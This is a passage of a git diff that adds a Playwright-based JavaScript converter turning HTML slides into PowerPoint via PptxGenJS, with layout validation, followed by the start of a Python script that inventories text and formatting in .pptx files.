' (Remember: leave 0.5" margin at bottom of slide)' : ''; + errors.push(`HTML content overflows body by ${directions.join(' and ')}${reminder}`); + } + + return { ...bodyDimensions, errors }; +} + +// Helper: Validate dimensions match presentation layout +function validateDimensions(bodyDimensions, pres) { + const errors = []; + const widthInches = bodyDimensions.width / PX_PER_IN; + const heightInches = bodyDimensions.height / PX_PER_IN; + + if (pres.presLayout) { + const layoutWidth = pres.presLayout.width / EMU_PER_IN; + const layoutHeight = pres.presLayout.height / EMU_PER_IN; + + if (Math.abs(layoutWidth - widthInches) > 0.1 || Math.abs(layoutHeight - heightInches) > 0.1) { + errors.push( + `HTML dimensions (${widthInches.toFixed(1)}" × ${heightInches.toFixed(1)}") ` + + `don't match presentation layout (${layoutWidth.toFixed(1)}" × ${layoutHeight.toFixed(1)}")` + ); + } + } + return errors; +} + +function validateTextBoxPosition(slideData, bodyDimensions) { + const errors = []; + const slideHeightInches = bodyDimensions.height / PX_PER_IN; + const minBottomMargin = 0.5; // 0.5 inches from bottom + + for (const el of slideData.elements) { + // Check text elements (p, h1-h6, list) + if (['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'list'].includes(el.type)) { + const fontSize = el.style?.fontSize || 0; + const bottomEdge = el.position.y + el.position.h; + const distanceFromBottom = slideHeightInches - bottomEdge; + + if (fontSize > 12 && distanceFromBottom < minBottomMargin) { + const getText = () => { + if (typeof el.text === 'string') return el.text; + if (Array.isArray(el.text)) return el.text.find(t => t.text)?.text || ''; + if (Array.isArray(el.items)) return el.items.find(item => item.text)?.text || ''; + return ''; + }; + const textPrefix = getText().substring(0, 50) + (getText().length > 50 ? '...' : ''); + + errors.push( + `Text box "${textPrefix}" ends too close to bottom edge ` + + `(${distanceFromBottom.toFixed(2)}" from bottom, minimum ${minBottomMargin}" required)` + ); + } + } + } + + return errors; +} + +// Helper: Add background to slide +async function addBackground(slideData, targetSlide, tmpDir) { + if (slideData.background.type === 'image' && slideData.background.path) { + let imagePath = slideData.background.path.startsWith('file://') + ? slideData.background.path.replace('file://', '') + : slideData.background.path; + targetSlide.background = { path: imagePath }; + } else if (slideData.background.type === 'color' && slideData.background.value) { + targetSlide.background = { color: slideData.background.value }; + } +} + +// Helper: Add elements to slide +function addElements(slideData, targetSlide, pres) { + for (const el of slideData.elements) { + if (el.type === 'image') { + let imagePath = el.src.startsWith('file://') ? el.src.replace('file://', '') : el.src; + targetSlide.addImage({ + path: imagePath, + x: el.position.x, + y: el.position.y, + w: el.position.w, + h: el.position.h + }); + } else if (el.type === 'line') { + targetSlide.addShape(pres.ShapeType.line, { + x: el.x1, + y: el.y1, + w: el.x2 - el.x1, + h: el.y2 - el.y1, + line: { color: el.color, width: el.width } + }); + } else if (el.type === 'shape') { + const shapeOptions = { + x: el.position.x, + y: el.position.y, + w: el.position.w, + h: el.position.h, + shape: el.shape.rectRadius > 0 ? pres.ShapeType.roundRect : pres.ShapeType.rect + }; + + if (el.shape.fill) { + shapeOptions.fill = { color: el.shape.fill }; + if (el.shape.transparency != null) shapeOptions.fill.transparency = el.shape.transparency; + } + if (el.shape.line) shapeOptions.line = el.shape.line; + if (el.shape.rectRadius > 0) shapeOptions.rectRadius = el.shape.rectRadius; + if (el.shape.shadow) shapeOptions.shadow = el.shape.shadow; + + targetSlide.addText(el.text || '', shapeOptions); + } else if (el.type === 'list') { + const listOptions = { + x: el.position.x, + y: el.position.y, + w: el.position.w, + h: el.position.h, + fontSize: el.style.fontSize, + fontFace: el.style.fontFace, + color: el.style.color, + align: el.style.align, + valign: 'top', + lineSpacing: el.style.lineSpacing, + paraSpaceBefore: el.style.paraSpaceBefore, + paraSpaceAfter: el.style.paraSpaceAfter, + margin: el.style.margin + }; + if (el.style.margin) listOptions.margin = el.style.margin; + targetSlide.addText(el.items, listOptions); + } else { + // Check if text is single-line (height suggests one line) + const lineHeight = el.style.lineSpacing || el.style.fontSize * 1.2; + const isSingleLine = el.position.h <= lineHeight * 1.5; + + let adjustedX = el.position.x; + let adjustedW = el.position.w; + + // Make single-line text 2% wider to account for underestimate + if (isSingleLine) { + const widthIncrease = el.position.w * 0.02; + const align = el.style.align; + + if (align === 'center') { + // Center: expand both sides + adjustedX = el.position.x - (widthIncrease / 2); + adjustedW = el.position.w + widthIncrease; + } else if (align === 'right') { + // Right: expand to the left + adjustedX = el.position.x - widthIncrease; + adjustedW = el.position.w + widthIncrease; + } else { + // Left (default): expand to the right + adjustedW = el.position.w + widthIncrease; + } + } + + const textOptions = { + x: adjustedX, + y: el.position.y, + w: adjustedW, + h: el.position.h, + fontSize: el.style.fontSize, + fontFace: el.style.fontFace, + color: el.style.color, + bold: el.style.bold, + italic: el.style.italic, + underline: el.style.underline, + valign: 'top', + lineSpacing: el.style.lineSpacing, + paraSpaceBefore: el.style.paraSpaceBefore, + paraSpaceAfter: el.style.paraSpaceAfter, + inset: 0 // Remove default PowerPoint internal padding + }; + + if (el.style.align) textOptions.align = el.style.align; + if (el.style.margin) textOptions.margin = el.style.margin; + if (el.style.rotate !== undefined) textOptions.rotate = el.style.rotate; + if (el.style.transparency !== null && el.style.transparency !== undefined) textOptions.transparency = el.style.transparency; + + targetSlide.addText(el.text, textOptions); + } + } +} + +// Helper: Extract slide data from HTML page +async function extractSlideData(page) { + return await page.evaluate(() => { + const PT_PER_PX = 0.75; + const PX_PER_IN = 96; + + // Fonts that are single-weight and should not have bold applied + // (applying bold causes PowerPoint to use faux bold which makes text wider) + const SINGLE_WEIGHT_FONTS = ['impact']; + + // Helper: Check if a font should skip bold formatting + const shouldSkipBold = (fontFamily) => { + if (!fontFamily) return false; + const normalizedFont = fontFamily.toLowerCase().replace(/['"]/g, '').split(',')[0].trim(); + return SINGLE_WEIGHT_FONTS.includes(normalizedFont); + }; + + // Unit conversion helpers + const pxToInch = (px) => px / PX_PER_IN; + const pxToPoints = (pxStr) => parseFloat(pxStr) * PT_PER_PX; + const rgbToHex = (rgbStr) => { + // Handle transparent backgrounds by defaulting to white + if (rgbStr === 'rgba(0, 0, 0, 0)' || rgbStr === 'transparent') return 'FFFFFF'; + + const match = rgbStr.match(/rgba?\((\d+),\s*(\d+),\s*(\d+)/); + if (!match) return 'FFFFFF'; + return match.slice(1).map(n => parseInt(n).toString(16).padStart(2, '0')).join(''); + }; + + const extractAlpha = (rgbStr) => { + const match = rgbStr.match(/rgba\((\d+),\s*(\d+),\s*(\d+),\s*([\d.]+)\)/); + if (!match || !match[4]) return null; + const alpha = parseFloat(match[4]); + return Math.round((1 - alpha) * 100); + }; + + const applyTextTransform = (text, textTransform) => { + if (textTransform === 'uppercase') return text.toUpperCase(); + if (textTransform === 'lowercase') return text.toLowerCase(); + if (textTransform === 'capitalize') { + return text.replace(/\b\w/g, c => c.toUpperCase()); + } + return text; + }; + + // Extract rotation angle from CSS transform and writing-mode + const getRotation = (transform, writingMode) => { + let angle = 0; + + // Handle writing-mode first + // PowerPoint: 90° = text rotated 90° clockwise (reads top to bottom, letters upright) + // PowerPoint: 270° = text rotated 270° clockwise (reads bottom to top, letters upright) + if (writingMode === 'vertical-rl') { + // vertical-rl alone = text reads top to bottom = 90° in PowerPoint + angle = 90; + } else if (writingMode === 'vertical-lr') { + // vertical-lr alone = text reads bottom to top = 270° in PowerPoint + angle = 270; + } + + // Then add any transform rotation + if (transform && transform !== 'none') { + // Try to match rotate() function + const rotateMatch = transform.match(/rotate\((-?\d+(?:\.\d+)?)deg\)/); + if (rotateMatch) { + angle += parseFloat(rotateMatch[1]); + } else { + // Browser may compute as matrix - extract rotation from matrix + const matrixMatch = transform.match(/matrix\(([^)]+)\)/); + if (matrixMatch) { + const values = matrixMatch[1].split(',').map(parseFloat); + // matrix(a, b, c, d, e, f) where rotation = atan2(b, a) + const matrixAngle = Math.atan2(values[1], values[0]) * (180 / Math.PI); + angle += Math.round(matrixAngle); + } + } + } + + // Normalize to 0-359 range + angle = angle % 360; + if (angle < 0) angle += 360; + + return angle === 0 ? null : angle; + }; + + // Get position/dimensions accounting for rotation + const getPositionAndSize = (el, rect, rotation) => { + if (rotation === null) { + return { x: rect.left, y: rect.top, w: rect.width, h: rect.height }; + } + + // For 90° or 270° rotations, swap width and height + // because PowerPoint applies rotation to the original (unrotated) box + const isVertical = rotation === 90 || rotation === 270; + + if (isVertical) { + // The browser shows us the rotated dimensions (tall box for vertical text) + // But PowerPoint needs the pre-rotation dimensions (wide box that will be rotated) + // So we swap: browser's height becomes PPT's width, browser's width becomes PPT's height + const centerX = rect.left + rect.width / 2; + const centerY = rect.top + rect.height / 2; + + return { + x: centerX - rect.height / 2, + y: centerY - rect.width / 2, + w: rect.height, + h: rect.width + }; + } + + // For other rotations, use element's offset dimensions + const centerX = rect.left + rect.width / 2; + const centerY = rect.top + rect.height / 2; + return { + x: centerX - el.offsetWidth / 2, + y: centerY - el.offsetHeight / 2, + w: el.offsetWidth, + h: el.offsetHeight + }; + }; + + // Parse CSS box-shadow into PptxGenJS shadow properties + const parseBoxShadow = (boxShadow) => { + if (!boxShadow || boxShadow === 'none') return null; + + // Browser computed style format: "rgba(0, 0, 0, 0.3) 2px 2px 8px 0px [inset]" + // CSS format: "[inset] 2px 2px 8px 0px rgba(0, 0, 0, 0.3)" + + const insetMatch = boxShadow.match(/inset/); + + // IMPORTANT: PptxGenJS/PowerPoint doesn't properly support inset shadows + // Only process outer shadows to avoid file corruption + if (insetMatch) return null; + + // Extract color first (rgba or rgb at start) + const colorMatch = boxShadow.match(/rgba?\([^)]+\)/); + + // Extract numeric values (handles both px and pt units) + const parts = boxShadow.match(/([-\d.]+)(px|pt)/g); + + if (!parts || parts.length < 2) return null; + + const offsetX = parseFloat(parts[0]); + const offsetY = parseFloat(parts[1]); + const blur = parts.length > 2 ? parseFloat(parts[2]) : 0; + + // Calculate angle from offsets (in degrees, 0 = right, 90 = down) + let angle = 0; + if (offsetX !== 0 || offsetY !== 0) { + angle = Math.atan2(offsetY, offsetX) * (180 / Math.PI); + if (angle < 0) angle += 360; + } + + // Calculate offset distance (hypotenuse) + const offset = Math.sqrt(offsetX * offsetX + offsetY * offsetY) * PT_PER_PX; + + // Extract opacity from rgba + let opacity = 0.5; + if (colorMatch) { + const opacityMatch = colorMatch[0].match(/[\d.]+\)$/); + if (opacityMatch) { + opacity = parseFloat(opacityMatch[0].replace(')', '')); + } + } + + return { + type: 'outer', + angle: Math.round(angle), + blur: blur * 0.75, // Convert to points + color: colorMatch ? rgbToHex(colorMatch[0]) : '000000', + offset: offset, + opacity + }; + }; + + // Parse inline formatting tags (<b>, <i>, <u>, <strong>, <em>, <span>) into text runs + const parseInlineFormatting = (element, baseOptions = {}, runs = [], baseTextTransform = (x) => x) => { + let prevNodeIsText = false; + + element.childNodes.forEach((node) => { + let textTransform = baseTextTransform; + + const isText = node.nodeType === Node.TEXT_NODE || node.tagName === 'BR'; + if (isText) { + const text = node.tagName === 'BR' ? '\n' : textTransform(node.textContent.replace(/\s+/g, ' ')); + const prevRun = runs[runs.length - 1]; + if (prevNodeIsText && prevRun) { + prevRun.text += text; + } else { + runs.push({ text, options: { ...baseOptions } }); + } + + } else if (node.nodeType === Node.ELEMENT_NODE && node.textContent.trim()) { + const options = { ...baseOptions }; + const computed = window.getComputedStyle(node); + + // Handle inline elements with computed styles + if (node.tagName === 'SPAN' || node.tagName === 'B' || node.tagName === 'STRONG' || node.tagName === 'I' || node.tagName === 'EM' || node.tagName === 'U') { + const isBold = computed.fontWeight === 'bold' || parseInt(computed.fontWeight) >= 600; + if (isBold && !shouldSkipBold(computed.fontFamily)) options.bold = true; + if (computed.fontStyle === 'italic') options.italic = true; + if (computed.textDecoration && computed.textDecoration.includes('underline')) options.underline = true; + if (computed.color && computed.color !== 'rgb(0, 0, 0)') { + options.color = rgbToHex(computed.color); + const transparency = extractAlpha(computed.color); + if (transparency !== null) options.transparency = transparency; + } + if (computed.fontSize) options.fontSize = pxToPoints(computed.fontSize); + + // Apply text-transform on the span element itself + if (computed.textTransform && computed.textTransform !== 'none') { + const transformStr = computed.textTransform; + textTransform = (text) => applyTextTransform(text, transformStr); + } + + // Validate: Check for margins on inline elements + if (computed.marginLeft && parseFloat(computed.marginLeft) > 0) { + errors.push(`Inline element <${node.tagName.toLowerCase()}> has margin-left which is not supported in PowerPoint. Remove margin from inline elements.`); + } + if (computed.marginRight && parseFloat(computed.marginRight) > 0) { + errors.push(`Inline element <${node.tagName.toLowerCase()}> has margin-right which is not supported in PowerPoint. Remove margin from inline elements.`); + } + if (computed.marginTop && parseFloat(computed.marginTop) > 0) { + errors.push(`Inline element <${node.tagName.toLowerCase()}> has margin-top which is not supported in PowerPoint. Remove margin from inline elements.`); + } + if (computed.marginBottom && parseFloat(computed.marginBottom) > 0) { + errors.push(`Inline element <${node.tagName.toLowerCase()}> has margin-bottom which is not supported in PowerPoint. Remove margin from inline elements.`); + } + + // Recursively process the child node. This will flatten nested spans into multiple runs. + parseInlineFormatting(node, options, runs, textTransform); + } + } + + prevNodeIsText = isText; + }); + + // Trim leading space from first run and trailing space from last run + if (runs.length > 0) { + runs[0].text = runs[0].text.replace(/^\s+/, ''); + runs[runs.length - 1].text = runs[runs.length - 1].text.replace(/\s+$/, ''); + } + + return runs.filter(r => r.text.length > 0); + }; + + // Extract background from body (image or color) + const body = document.body; + const bodyStyle = window.getComputedStyle(body); + const bgImage = bodyStyle.backgroundImage; + const bgColor = bodyStyle.backgroundColor; + + // Collect validation errors + const errors = []; + + // Validate: Check for CSS gradients + if (bgImage && (bgImage.includes('linear-gradient') || bgImage.includes('radial-gradient'))) { + errors.push( + 'CSS gradients are not supported. Use Sharp to rasterize gradients as PNG images first, ' + + 'then reference with background-image: url(\'gradient.png\')' + ); + } + + let background; + if (bgImage && bgImage !== 'none') { + // Extract URL from url("...") or url(...) + const urlMatch = bgImage.match(/url\(["']?([^"')]+)["']?\)/); + if (urlMatch) { + background = { + type: 'image', + path: urlMatch[1] + }; + } else { + background = { + type: 'color', + value: rgbToHex(bgColor) + }; + } + } else { + background = { + type: 'color', + value: rgbToHex(bgColor) + }; + } + + // Process all elements + const elements = []; + const placeholders = []; + const textTags = ['P', 'H1', 'H2', 'H3', 'H4', 'H5', 'H6', 'UL', 'OL', 'LI']; + const processed = new Set(); + + document.querySelectorAll('*').forEach((el) => { + if (processed.has(el)) return; + + // Validate text elements don't have backgrounds, borders, or shadows + if (textTags.includes(el.tagName)) { + const computed = window.getComputedStyle(el); + const hasBg = computed.backgroundColor && computed.backgroundColor !== 'rgba(0, 0, 0, 0)'; + const hasBorder = (computed.borderWidth && parseFloat(computed.borderWidth) > 0) || + (computed.borderTopWidth && parseFloat(computed.borderTopWidth) > 0) || + (computed.borderRightWidth && parseFloat(computed.borderRightWidth) > 0) || + (computed.borderBottomWidth && parseFloat(computed.borderBottomWidth) > 0) || + (computed.borderLeftWidth && parseFloat(computed.borderLeftWidth) > 0); + const hasShadow = computed.boxShadow && computed.boxShadow !== 'none'; + + if (hasBg || hasBorder || hasShadow) { + errors.push( + `Text element <${el.tagName.toLowerCase()}> has ${hasBg ? 'background' : hasBorder ? 'border' : 'shadow'}. ` + + 'Backgrounds, borders, and shadows are only supported on <div> elements, not text elements.' + ); + return; + } + } + + // Extract placeholder elements (for charts, etc.) + if (el.className && el.className.includes('placeholder')) { + const rect = el.getBoundingClientRect(); + if (rect.width === 0 || rect.height === 0) { + errors.push( + `Placeholder "${el.id || 'unnamed'}" has ${rect.width === 0 ? 'width: 0' : 'height: 0'}. Check the layout CSS.` + ); + } else { + placeholders.push({ + id: el.id || `placeholder-${placeholders.length}`, + x: pxToInch(rect.left), + y: pxToInch(rect.top), + w: pxToInch(rect.width), + h: pxToInch(rect.height) + }); + } + processed.add(el); + return; + } + + // Extract images + if (el.tagName === 'IMG') { + const rect = el.getBoundingClientRect(); + if (rect.width > 0 && rect.height > 0) { + elements.push({ + type: 'image', + src: el.src, + position: { + x: pxToInch(rect.left), + y: pxToInch(rect.top), + w: pxToInch(rect.width), + h: pxToInch(rect.height) + } + }); + processed.add(el); + return; + } + } + + // Extract DIVs with backgrounds/borders as shapes + const isContainer = el.tagName === 'DIV' && !textTags.includes(el.tagName); + if (isContainer) { + const computed = window.getComputedStyle(el); + const hasBg = computed.backgroundColor && computed.backgroundColor !== 'rgba(0, 0, 0, 0)'; + + // Validate: Check for unwrapped text content in DIV + for (const node of el.childNodes) { + if (node.nodeType === Node.TEXT_NODE) { + const text = node.textContent.trim(); + if (text) { + errors.push( + `DIV element contains unwrapped text "${text.substring(0, 50)}${text.length > 50 ? '...' : ''}". ` + + 'All text must be wrapped in <p>, <h1>-<h6>, <ul>, or <ol> tags to appear in PowerPoint.' + ); + } + } + } + + // Check for background images on shapes + const bgImage = computed.backgroundImage; + if (bgImage && bgImage !== 'none') { + errors.push( + 'Background images on DIV elements are not supported. ' + + 'Use solid colors or borders for shapes, or use slide.addImage() in PptxGenJS to layer images.' + ); + return; + } + + // Check for borders - both uniform and partial + const borderTop = computed.borderTopWidth; + const borderRight = computed.borderRightWidth; + const borderBottom = computed.borderBottomWidth; + const borderLeft = computed.borderLeftWidth; + const borders = [borderTop, borderRight, borderBottom, borderLeft].map(b => parseFloat(b) || 0); + const hasBorder = borders.some(b => b > 0); + const hasUniformBorder = hasBorder && borders.every(b => b === borders[0]); + const borderLines = []; + + if (hasBorder && !hasUniformBorder) { + const rect = el.getBoundingClientRect(); + const x = pxToInch(rect.left); + const y = pxToInch(rect.top); + const w = pxToInch(rect.width); + const h = pxToInch(rect.height); + + // Collect lines to add after shape (inset by half the line width to center on edge) + if (parseFloat(borderTop) > 0) { + const widthPt = pxToPoints(borderTop); + const inset = (widthPt / 72) / 2; // Convert points to inches, then half + borderLines.push({ + type: 'line', + x1: x, y1: y + inset, x2: x + w, y2: y + inset, + width: widthPt, + color: rgbToHex(computed.borderTopColor) + }); + } + if (parseFloat(borderRight) > 0) { + const widthPt = pxToPoints(borderRight); + const inset = (widthPt / 72) / 2; + borderLines.push({ + type: 'line', + x1: x + w - inset, y1: y, x2: x + w - inset, y2: y + h, + width: widthPt, + color: rgbToHex(computed.borderRightColor) + }); + } + if (parseFloat(borderBottom) > 0) { + const widthPt = pxToPoints(borderBottom); + const inset = (widthPt / 72) / 2; + borderLines.push({ + type: 'line', + x1: x, y1: y + h - inset, x2: x + w, y2: y + h - inset, + width: widthPt, + color: rgbToHex(computed.borderBottomColor) + }); + } + if (parseFloat(borderLeft) > 0) { + const widthPt = pxToPoints(borderLeft); + const inset = (widthPt / 72) / 2; + borderLines.push({ + type: 'line', + x1: x + inset, y1: y, x2: x + inset, y2: y + h, + width: widthPt, + color: rgbToHex(computed.borderLeftColor) + }); + } + } + + if (hasBg || hasBorder) { + const rect = el.getBoundingClientRect(); + if (rect.width > 0 && rect.height > 0) { + const shadow = parseBoxShadow(computed.boxShadow); + + // Only add shape if there's background or uniform border + if (hasBg || hasUniformBorder) { + elements.push({ + type: 'shape', + text: '', // Shape only - child text elements render on top + position: { + x: pxToInch(rect.left), + y: pxToInch(rect.top), + w: pxToInch(rect.width), + h: pxToInch(rect.height) + }, + shape: { + fill: hasBg ? rgbToHex(computed.backgroundColor) : null, + transparency: hasBg ? extractAlpha(computed.backgroundColor) : null, + line: hasUniformBorder ? { + color: rgbToHex(computed.borderColor), + width: pxToPoints(computed.borderWidth) + } : null, + // Convert border-radius to rectRadius (in inches) + // % values: 50%+ = circle (1), <50% = percentage of min dimension + // pt values: divide by 72 (72pt = 1 inch) + // px values: divide by 96 (96px = 1 inch) + rectRadius: (() => { + const radius = computed.borderRadius; + const radiusValue = parseFloat(radius); + if (radiusValue === 0) return 0; + + if (radius.includes('%')) { + if (radiusValue >= 50) return 1; + // Calculate percentage of smaller dimension + const minDim = Math.min(rect.width, rect.height); + return (radiusValue / 100) * pxToInch(minDim); + } + + if (radius.includes('pt')) return radiusValue / 72; + return radiusValue / PX_PER_IN; + })(), + shadow: shadow + } + }); + } + + // Add partial border lines + elements.push(...borderLines); + + processed.add(el); + return; + } + } + } + + // Extract bullet lists as single text block + if (el.tagName === 'UL' || el.tagName === 'OL') { + const rect = el.getBoundingClientRect(); + if (rect.width === 0 || rect.height === 0) return; + + const liElements = Array.from(el.querySelectorAll('li')); + const items = []; + const ulComputed = window.getComputedStyle(el); + const ulPaddingLeftPt = pxToPoints(ulComputed.paddingLeft); + + // Split: margin-left for bullet position, indent for text position + // margin-left + indent = ul padding-left + const marginLeft = ulPaddingLeftPt * 0.5; + const textIndent = ulPaddingLeftPt * 0.5; + + liElements.forEach((li, idx) => { + const isLast = idx === liElements.length - 1; + const runs = parseInlineFormatting(li, { breakLine: false }); + // Clean manual bullets from first run + if (runs.length > 0) { + runs[0].text = runs[0].text.replace(/^[•\-\*▪▸]\s*/, ''); + runs[0].options.bullet = { indent: textIndent }; + } + // Set breakLine on last run + if (runs.length > 0 && !isLast) { + runs[runs.length - 1].options.breakLine = true; + } + items.push(...runs); + }); + + const computed = window.getComputedStyle(liElements[0] || el); + + elements.push({ + type: 'list', + items: items, + position: { + x: pxToInch(rect.left), + y: pxToInch(rect.top), + w: pxToInch(rect.width), + h: pxToInch(rect.height) + }, + style: { + fontSize: pxToPoints(computed.fontSize), + fontFace: computed.fontFamily.split(',')[0].replace(/['"]/g, '').trim(), + color: rgbToHex(computed.color), + transparency: extractAlpha(computed.color), + align: computed.textAlign === 'start' ? 'left' : computed.textAlign, + lineSpacing: computed.lineHeight && computed.lineHeight !== 'normal' ? pxToPoints(computed.lineHeight) : null, + paraSpaceBefore: 0, + paraSpaceAfter: pxToPoints(computed.marginBottom), + // PptxGenJS margin array is [left, right, bottom, top] + margin: [marginLeft, 0, 0, 0] + } + }); + + liElements.forEach(li => processed.add(li)); + processed.add(el); + return; + } + + // Extract text elements (P, H1, H2, etc.) + if (!textTags.includes(el.tagName)) return; + + const rect = el.getBoundingClientRect(); + const text = el.textContent.trim(); + if (rect.width === 0 || rect.height === 0 || !text) return; + + // Validate: Check for manual bullet symbols in text elements (not in lists) + if (el.tagName !== 'LI' && /^[•\-\*▪▸○●◆◇■□]\s/.test(text.trimStart())) { + errors.push( + `Text element <${el.tagName.toLowerCase()}> starts with bullet symbol "${text.substring(0, 20)}...". ` + + 'Use <ul> or <ol> lists instead of manual bullet symbols.' + ); + return; + } + + const computed = window.getComputedStyle(el); + const rotation = getRotation(computed.transform, computed.writingMode); + const { x, y, w, h } = getPositionAndSize(el, rect, rotation); + + const baseStyle = { + fontSize: pxToPoints(computed.fontSize), + fontFace: computed.fontFamily.split(',')[0].replace(/['"]/g, '').trim(), + color: rgbToHex(computed.color), + align: computed.textAlign === 'start' ? 'left' : computed.textAlign, + lineSpacing: pxToPoints(computed.lineHeight), + paraSpaceBefore: pxToPoints(computed.marginTop), + paraSpaceAfter: pxToPoints(computed.marginBottom), + // PptxGenJS margin array is [left, right, bottom, top] (not [top, right, bottom, left] as documented) + margin: [ + pxToPoints(computed.paddingLeft), + pxToPoints(computed.paddingRight), + pxToPoints(computed.paddingBottom), + pxToPoints(computed.paddingTop) + ] + }; + + const transparency = extractAlpha(computed.color); + if (transparency !== null) baseStyle.transparency = transparency; + + if (rotation !== null) baseStyle.rotate = rotation; + + const hasFormatting = el.querySelector('b, i, u, strong, em, span, br'); + + if (hasFormatting) { + // Text with inline formatting + const transformStr = computed.textTransform; + const runs = parseInlineFormatting(el, {}, [], (str) => applyTextTransform(str, transformStr)); + + // Adjust lineSpacing based on largest fontSize in runs + const adjustedStyle = { ...baseStyle }; + if (adjustedStyle.lineSpacing) { + const maxFontSize = Math.max( + adjustedStyle.fontSize, + ...runs.map(r => r.options?.fontSize || 0) + ); + if (maxFontSize > adjustedStyle.fontSize) { + const lineHeightMultiplier = adjustedStyle.lineSpacing / adjustedStyle.fontSize; + adjustedStyle.lineSpacing = maxFontSize * lineHeightMultiplier; + } + } + + elements.push({ + type: el.tagName.toLowerCase(), + text: runs, + position: { x: pxToInch(x), y: pxToInch(y), w: pxToInch(w), h: pxToInch(h) }, + style: adjustedStyle + }); + } else { + // Plain text - inherit CSS formatting + const textTransform = computed.textTransform; + const transformedText = applyTextTransform(text, textTransform); + + const isBold = computed.fontWeight === 'bold' || parseInt(computed.fontWeight) >= 600; + + elements.push({ + type: el.tagName.toLowerCase(), + text: transformedText, + position: { x: pxToInch(x), y: pxToInch(y), w: pxToInch(w), h: pxToInch(h) }, + style: { + ...baseStyle, + bold: isBold && !shouldSkipBold(computed.fontFamily), + italic: computed.fontStyle === 'italic', + underline: computed.textDecoration.includes('underline') + } + }); + } + + processed.add(el); + }); + + return { background, elements, placeholders, errors }; + }); +} + +async function html2pptx(htmlFile, pres, options = {}) { + const { + tmpDir = process.env.TMPDIR || '/tmp', + slide = null + } = options; + + try { + // Use Chrome on macOS, default Chromium on Unix + const launchOptions = { env: { TMPDIR: tmpDir } }; + if (process.platform === 'darwin') { + launchOptions.channel = 'chrome'; + } + + const browser = await chromium.launch(launchOptions); + + let bodyDimensions; + let slideData; + + const filePath = path.isAbsolute(htmlFile) ? htmlFile : path.join(process.cwd(), htmlFile); + const validationErrors = []; + + try { + const page = await browser.newPage(); + page.on('console', (msg) => { + // Log the message text to your test runner's console + console.log(`Browser console: ${msg.text()}`); + }); + + await page.goto(`file://${filePath}`); + + bodyDimensions = await getBodyDimensions(page); + + await page.setViewportSize({ + width: Math.round(bodyDimensions.width), + height: Math.round(bodyDimensions.height) + }); + + slideData = await extractSlideData(page); + } finally { + await browser.close(); + } + + // Collect all validation errors + if (bodyDimensions.errors && bodyDimensions.errors.length > 0) { + validationErrors.push(...bodyDimensions.errors); + } + + const dimensionErrors = validateDimensions(bodyDimensions, pres); + if (dimensionErrors.length > 0) { + validationErrors.push(...dimensionErrors); + } + + const textBoxPositionErrors = validateTextBoxPosition(slideData, bodyDimensions); + if (textBoxPositionErrors.length > 0) { + validationErrors.push(...textBoxPositionErrors); + } + + if (slideData.errors && slideData.errors.length > 0) { + validationErrors.push(...slideData.errors); + } + + // Throw all errors at once if any exist + if (validationErrors.length > 0) { + const errorMessage = validationErrors.length === 1 + ? validationErrors[0] + : `Multiple validation errors found:\n${validationErrors.map((e, i) => ` ${i + 1}. ${e}`).join('\n')}`; + throw new Error(errorMessage); + } + + const targetSlide = slide || pres.addSlide(); + + await addBackground(slideData, targetSlide, tmpDir); + addElements(slideData, targetSlide, pres); + + return { slide: targetSlide, placeholders: slideData.placeholders }; + } catch (error) { + if (!error.message.startsWith(htmlFile)) { + throw new Error(`${htmlFile}: ${error.message}`); + } + throw error; + } +} + +module.exports = html2pptx; \ No newline at end of file diff --git a/skills/pptx/scripts/inventory.py b/skills/pptx/scripts/inventory.py new file mode 100755 index 00000000..edda390e --- /dev/null +++ b/skills/pptx/scripts/inventory.py @@ -0,0 +1,1020 @@ +#!/usr/bin/env python3 +""" +Extract structured text content from PowerPoint presentations. + +This module provides functionality to: +- Extract all text content from PowerPoint shapes +- Preserve paragraph formatting (alignment, bullets, fonts, spacing) +- Handle nested GroupShapes recursively with correct absolute positions +- Sort shapes by visual position on slides +- Filter out slide numbers and non-content placeholders +- Export to JSON with clean, structured data + +Classes: + ParagraphData: Represents a text paragraph with formatting + ShapeData: Represents a shape with position and text content + +Main Functions: + extract_text_inventory: Extract all text from a presentation + save_inventory: Save extracted data to JSON + +Usage: + python inventory.py input.pptx output.json +""" + +import argparse +import json +import platform +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Any, Dict, List, Optional, Tuple, Union + +from PIL import Image, ImageDraw, ImageFont +from pptx import Presentation +from pptx.enum.text import PP_ALIGN +from pptx.shapes.base import BaseShape + +# Type aliases for cleaner signatures +JsonValue = Union[str, int, float, bool, None] +ParagraphDict = Dict[str, JsonValue] +ShapeDict = Dict[ + str, Union[str, float, bool, List[ParagraphDict], List[str], Dict[str, Any], None] +] +InventoryData = Dict[ + str, Dict[str, "ShapeData"] +] # Dict of slide_id -> {shape_id -> ShapeData} +InventoryDict = Dict[str, Dict[str, ShapeDict]] # JSON-serializable inventory + + +def main(): + """Main entry point for command-line usage.""" + parser = argparse.ArgumentParser( + description="Extract text inventory from PowerPoint with proper GroupShape support.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + python inventory.py presentation.pptx inventory.json + Extracts text inventory with correct absolute positions for grouped shapes + + python inventory.py presentation.pptx inventory.json --issues-only + Extracts only text shapes that have overflow or overlap issues + +The output JSON includes: + - All text content organized by slide and shape + - Correct absolute positions for shapes in groups + - Visual position and size in inches + - Paragraph properties and formatting + - Issue detection: text overflow and shape overlaps + """, + ) + + parser.add_argument("input", help="Input PowerPoint file (.pptx)") + parser.add_argument("output", help="Output JSON file for inventory") + parser.add_argument( + "--issues-only", + action="store_true", + help="Include only text shapes that have overflow or overlap issues", + ) + + args = parser.parse_args() + + input_path = Path(args.input) + if not input_path.exists(): + print(f"Error: Input file not found: {args.input}") + sys.exit(1) + + if not input_path.suffix.lower() == ".pptx": + print("Error: Input must be a PowerPoint file (.pptx)") + sys.exit(1) + + try: + print(f"Extracting text inventory from: {args.input}") + if args.issues_only: + print( + "Filtering to include only text shapes with issues (overflow/overlap)" + ) + inventory = extract_text_inventory(input_path, issues_only=args.issues_only) + + output_path = Path(args.output) + output_path.parent.mkdir(parents=True, exist_ok=True) + save_inventory(inventory, output_path) + + print(f"Output saved to: {args.output}") + + # Report statistics + total_slides = len(inventory) + total_shapes = sum(len(shapes) for shapes in inventory.values()) + if args.issues_only: + if total_shapes > 0: + print( + f"Found {total_shapes} text elements with issues in {total_slides} slides" + ) + else: + print("No issues discovered") + else: + print( + f"Found text in {total_slides} slides with {total_shapes} text elements" + ) + + except Exception as e: + print(f"Error processing presentation: {e}") + import traceback + + 